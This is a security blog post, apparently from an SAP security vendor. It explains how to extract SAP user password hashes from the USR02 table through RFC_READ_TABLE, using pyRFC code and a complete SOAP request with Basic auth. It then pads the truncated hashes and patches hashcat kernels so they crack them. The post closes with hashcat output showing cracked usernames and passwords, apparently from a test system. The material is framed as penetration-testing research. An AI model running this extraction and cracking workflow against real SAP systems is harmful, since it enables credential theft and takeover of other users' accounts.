SBN

Adapting hashcat for SAP ‘half hashes’

In this article, you will see how to adapt hashcat to work with SAP ‘half hashes’.

Context

One crucial aspect of SAP penetration testing is abusing users’
privileges after we got access to their passwords.

We often encounter a scenario when the server is an SAP NetWeaver ABAP
and the interface available is via RFC protocol (be it either over
tcp/33NN, or over webrfc SOAP gateway).

In this scenario, we cannot login via SAP GUI (we got a system or
communication user) but want to obtain an access to some existing SAP
GUI users or just assess the robustness of the users’ passwords. So, it
is necessary to get a hand on clear-text passwords.

We already know that SAP users’ passwords are hashed and stored for
ABAP application server in the USR02table. The column BCODE
stores the SAP CODVN B hash of the password, the column PASSCODE the
SAP CODVN F/G version., and if the server is not too old we can find
the column PWDSALTEDHASH with the SAP CODVN H hashed password.

The only way of gaining access to the database table via RFC is to
invoke the (remote-enabled) function module RFC_READ_TABLE. This
function has initially not been made to extract RAW fields and will
return a truncated value with half the size of the original field.

For dictionary brute forcing hashes, it is a blocking issue. We need a
full hash to check it against tools like hashcat/JohnTheRipper.

To solve this issue, it is required to find another RFC function
module that is remote-enabled. In systems where Data Services are
installed, variants exist that do not have this limitation/bug on raw
data and can be directly handled with usual cracking tools:

  • /BODS/RFC_READ_TABLE
  • /SAPDS/RFC_READ_TABLE

There are still a number of systems without those function modules
available. In this case, we get around the issue by adapting hashcat’s
hash verification for BCODE and PASSCODE hashes. NB: PWDSALTEDHASH
does not have this problem as it is stored as CHAR, but it is much
slower to brute-force.

Methodology of adapting SAP mangled hashes to hashcat

Extract the hashes via RFC / SOAP RFC by calling function module
RFC_READ_TABLE. And pad with NULL bytes the second part of the hash
that is missing. So, it may look like this in our test system:

SAP hashes extraction

Extracting SAP hashes via pure RFC connection

pyRFC method using the
NWRFCSDK

from pyrfc import Connection

    rfc_args = {'DELIMITER': '|',
                'FIELDS': [{'FIELDNAME': 'MANDT'},
                           {'FIELDNAME': 'BNAME'},
                           {'FIELDNAME': 'UFLAG'},
                           {'FIELDNAME': 'BCODE'},
                           {'FIELDNAME': 'PASSCODE'},
                           {'FIELDNAME': 'PWDSALTEDHASH'}],
                'QUERY_TABLE': 'USR02'}

    conn = Connection(ashost=host, sysnr=instance, client=client, user=user, passwd=password)
    result = conn.call("RFC_READ_TABLE", **rfc_args)
    print result['DATA']

This will go through the Gateway service listening on tcp/33NN and will
be dispatched for execution to one of the ABAP worker process.

Extracting SAP hashes via SOAP RFC

If the RFC port is not available, we can achieve the same result through
the SOAP RFC interface on the ICM HTTP service (tcp/80NN).

POST /sap/bc/soap/rfc?sap-client=001 HTTP/1.1
    Host: abapserver:8000
    SOAP-Action: RFC_READ_TABLE
    Content-Type: text/xml;charset=UTF-8
    Authorization: Basic U0FQKjowNjA3MTk5Mgo=
    Connection: close

    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
        <SOAP-ENV:Header/>
        <SOAP-ENV:Body>
            <RFC_READ_TABLE xmlns="urn:sap-com:document:sap:rfc:functions">
                <DATA><item/></DATA>
                <DELIMITER>|</DELIMITER>
                <QUERY_TABLE>USR02</QUERY_TABLE>
                <FIELDS>
                <ITEM>
                        <FIELDNAME>MANDT</FIELDNAME>
                </ITEM>
                <ITEM>
                        <FIELDNAME>BNAME</FIELDNAME>
                </ITEM>
                <ITEM>
                        <FIELDNAME>UFLAG</FIELDNAME>
                </ITEM>
                <ITEM>
                        <FIELDNAME>BCODE</FIELDNAME>
                </ITEM>
                <ITEM>
                        <FIELDNAME>PASSCODE</FIELDNAME>
                </ITEM>
                <ITEM>
                        <FIELDNAME>PWDSALTEDHASH</FIELDNAME>
                </ITEM>
                </FIELDS>
            </RFC_READ_TABLE>
        </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
``` xml

### Padding SAP half hashes

RFC dump of some users with non NULL BCODE hash is as follows:

  MANDT   BNAME      UFLAG   BCODE      PASSCODE
  ------- ---------- ------- ---------- ----------------------
  001     BATIPPS    0       45E6C3EF   00000000000000000000
  001     BLUMOEHR   0       7D3C4D5B   00000000000000000000
  001     BOEHMA     0       D23047EF   00000000000000000000

Then we need to fix the hashes so that hashcat will ingest them with
the default SAP CODVN parser:
(we adopted this strategy in order to minimize the changes in the code)

  BCODE half-hash   BCODE fixed
  ----------------- ------------------
  45E6C3EF          45E6C3EF00000000
  7D3C4D5B          7D3C4D5B00000000
  D23047EF          D23047EF00000000

and build a file with the following usernames/hashes:

    BATIPPS$45E6C3EF00000000
    BLUMOEHR$7D3C4D5B00000000
    BOEHMA$D23047EF00000000

### Hashcat patch for SAP's half hashes

We explain how we patch hashcat's existing hashes (7700, 7800) into new
ones (7701, 7801). We will focus on the attack mode 0 (i.e. wordlist and
wordlist+rules) as it is mainly what we use during security assessments.
Thus, this article does not cover brute-force modes (`-a3`) and
combinator (`-a1`) but with regard to those explanations, their adaption
should be easy.

#### SAP CODEVN B (7701)

The adaptation for CODEVN B (BCODE) hash is trivial and only requires
clearing the `b` value inside the OpenCL kernel of the 7700 version so
that we check only the first 32 bits of the clear-text hashed value
against our computation.

``` diff
        a ^= c;
    -    b ^= d;
    +    b  = 0;
        c  = 0;
        d  = 0;

        COMPARE_$X_SIMD (a, b, c, d); // X being M and S

SAP CODEVN F/G (7801)

In the PASSCODE case, we need to be a bit more careful as our limit
where bits are all zeroed is in the middle of a 32-bit value. So we need
to clear half of the digest[2] 32 bit value and the last part of the
digest (digest[3] and digest[4]).

If we show a hexified representation of the digest when hash is full
and mangled we have something like this:

  • PASSCODE full hash extracted from USR02 table:
    BC150094 0E40B280 A3AA0519 33D4939C 9DAFCD27

  • PASSCODE half hash extracted from USR02 table:
    BC150094 0E40B280 A3AA0000 00000000 00000000

So the adaptation of the 7800 OpenCL kernel to 7801 becomes:

-    COMPARE_$X_SIMD (digest[3], digest[4], digest[2], digest[1]); // X being M and S
    +    COMPARE_$X_SIMD (0, 0, digest[2] & 0xffff0000, digest[1]);

As of collisions, we don’t think that it is a practical issue when
considering that the probability for collision candidates to be in a
valid password character set space is likely to be very low.

We added those as new hashes in our modified version of hashcat, namely:

  • 7701 SAP CODVN B (BCODE) via RFC_READ_TABLE
  • 7801 SAP CODVN F/G (PASSCODE) via RFC_READ_TABLE

Benchmark

With this method, there should not be any differences with the benchmark
results of the 7700 and 7800 hashes. NB: as the brute-force attack mode
(-a3) is not implemented, the execution of the benchmark for hashes
7701 and 7801 will be impossible.

Known limitation

This modification concerns only hashcat’s attack mode “0” (that is
wordlist and wordlist + rules).

Result

$ hashcat -m 7801 -a0 001_passcode.txt 10_million_password_list_top_1000000.txt
    hashcat (v3.10-431-g87ae9cf+) starting...

    OpenCL Platform #1: Intel(R) Corporation
    ========================================
    - Device #1: Intel(R) Core(TM) i5-6200U CPU @ 2.30GHz, 3981/15927 MB allocatable, 4MCU

    Hashes: 91 digests; 91 unique digests, 91 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    Rules: 1

    Applicable Optimizers:
    * Zero-Byte
    * Precompute-Init
    * Not-Iterated

    Watchdog: Hardware Monitoring Interface not found on your system
    Watchdog: Temperature abort trigger disabled
    Watchdog: Temperature retain trigger disabled

    Generated dictionary stats for 10_million_password_list_top_1000000.txt: 8529137 bytes, 1000001 words, 1000001 keyspace

    TEST$BF433D884D827A4AC6AA00000000000000000000:test
    KARASU$9A34C96A7D52DE5E324B00000000000000000000:wert
    FORTMANN$F9BFB716D7242C37B67100000000000000000000:motorrad
    WEISSAN$0A9665334DE2269D061C00000000000000000000:init
    [s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => q


    Session.Name...: hashcat
    Status.........: Aborted
    Input.Mode.....: File (10_million_password_list_top_1000000.txt)
    Hash.Target....: File (001_passcode.txt)
    Hash.Type......: SAP CODVN F/G (PASSCODE) mangled from RFC_READ_TABLE
    Time.Started...: Fri Feb  2 16:45:51 2018 (6 secs)
    Time.Estimated.: Fri Feb  2 16:46:22 2018 (24 secs)
    Speed.Dev.#1...:  2917.5 kH/s (1.32ms)
    Recovered......: 4/91 (4.40%) Digests, 4/91 (4.40%) Salts
    Progress.......: 17563648/91000091 (19.30%)
    Rejected.......: 0/17563648 (0.00%)
    Restore.Point..: 192512/1000001 (19.25%)

Here is a short video showing how this workflow can be automated from the remote RFC hashes extraction to the dumping of the brute-forced passwords against a dictionary of common passwords.

Download

You can download our patched version based on the hashcat release
v4.1.0-3-g63defd1+. The sources of our modified version is available
in our github

The post Adapting hashcat for SAP ‘half hashes’ appeared first on ERPScan.

Secure Guardrails